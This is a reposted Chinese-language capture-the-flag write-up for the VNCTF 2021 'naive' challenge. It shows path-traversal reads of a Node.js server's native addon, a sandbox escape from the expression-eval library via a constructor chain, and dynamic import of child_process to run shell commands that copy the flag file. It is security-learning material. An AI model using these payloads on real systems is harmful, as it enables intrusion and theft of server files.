[VNCTF 2021]naive題解


[VNCTF 2021]naive

出的很好的題目,學到了很多知識,其中感謝Y4大佬甩了一堆學習鏈接給我!!!

考點:任意文件讀取、逆向、ES6模式下動態加載模塊

eval路由存在代碼執行,但是需要先通過addon.verify()函數的驗證

import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;

const addon = bindings("addon");

app.use("/eval", (req, res) => {
  const e = req.body.e;
  const code = req.body.code;
  if (!e || !code) {
    res.send("wrong?");
    return;
  }
  try {
    if (addon.verify(code)) {
      res.send(String(eval_(parse(e)))); //代碼執行
    } else {
      res.send("wrong?");
    }
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

source路由存在任意文件讀取,但是不可以直接讀取flag文件

app.use("/source", (req, res) => {
  let p = req.query.path || file;
  p = path.resolve(path.dirname(file), p);
  if (p.includes("flag")) {
    res.send("no flag!");
  } else {
    res.sendFile(p);
  }
});

通過查找文檔:http://nodejs.cn/api/addons.html ,可以找到addon.node模塊存在的位置

然后通過source路由讀取,Payload:?path=../build/Release/addon.node讀取到addon程序,然后交給了逆向大佬去逆向(為大佬打call!!!),獲得驗證碼yoshino-s_want_a_gf,qq1735439536

接着想辦法去執行命令,查看文檔:https://github.com/q269384828/expression-eval ,發現存在可以代碼執行的方式

於是開始嘗試代碼執行,這里解釋一下用了兩個constructor,第一個返回到String,第二個返回到Function才可以導入模塊

Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return require('child_process').execSync('ls');")()

但是直接報錯wrong?,根據源碼查看應該是執行異常跳出的。這是上了一個新的Hint:仔細閱讀package.json哦,返回去查看package.json中的內容

{
    "name": "name",
    "version": "0.1.1",
    "description": "Description",
    "private": true,
    "main": "src/index.js",
    "type": "module",
    "scripts": {
        "start": "node src/index.js",
        "build:native": "node-gyp rebuild",
        "build:native:dev": "node-gyp rebuild --debug"
    },
    "dependencies": {
        "bindings": "^1.5.0",
        "express": "^4.17.1",
        "expression-eval": "^4.0.0",
        "node-addon-api": "^3.0.2",
        "seval": "^2.0.1"
    },
    "devDependencies": {
        "@types/express": "^4.17.8",
        "@types/node": "^14.10.1",
        "node-gyp": "^7.1.2",
        "prettier": "^2.0.5"
    }
}

重點是這個"type": "module"參數,通過查看文檔:http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html ,知道了這里采用的是ES6模塊,不可以使用require導入,這就是前面代碼執行異常的原因

既然知道了ES6模塊是使用import導入就可以繼續寫了,同時在文檔:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules ,找到了import導入后的執行方法

Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./1.js')});")()

因為沒有回顯所以還需要使用source路由讀取1.js的內容,url/source?path=../1.js

還有另外一種方式

app.use(express.static("static"));

源碼中存在這句,意思是將static文件夾設置靜態文件目錄,可以在url后面直接加上文件名進行訪問

Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./static/1.js')});")()

訪問url/1.js


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM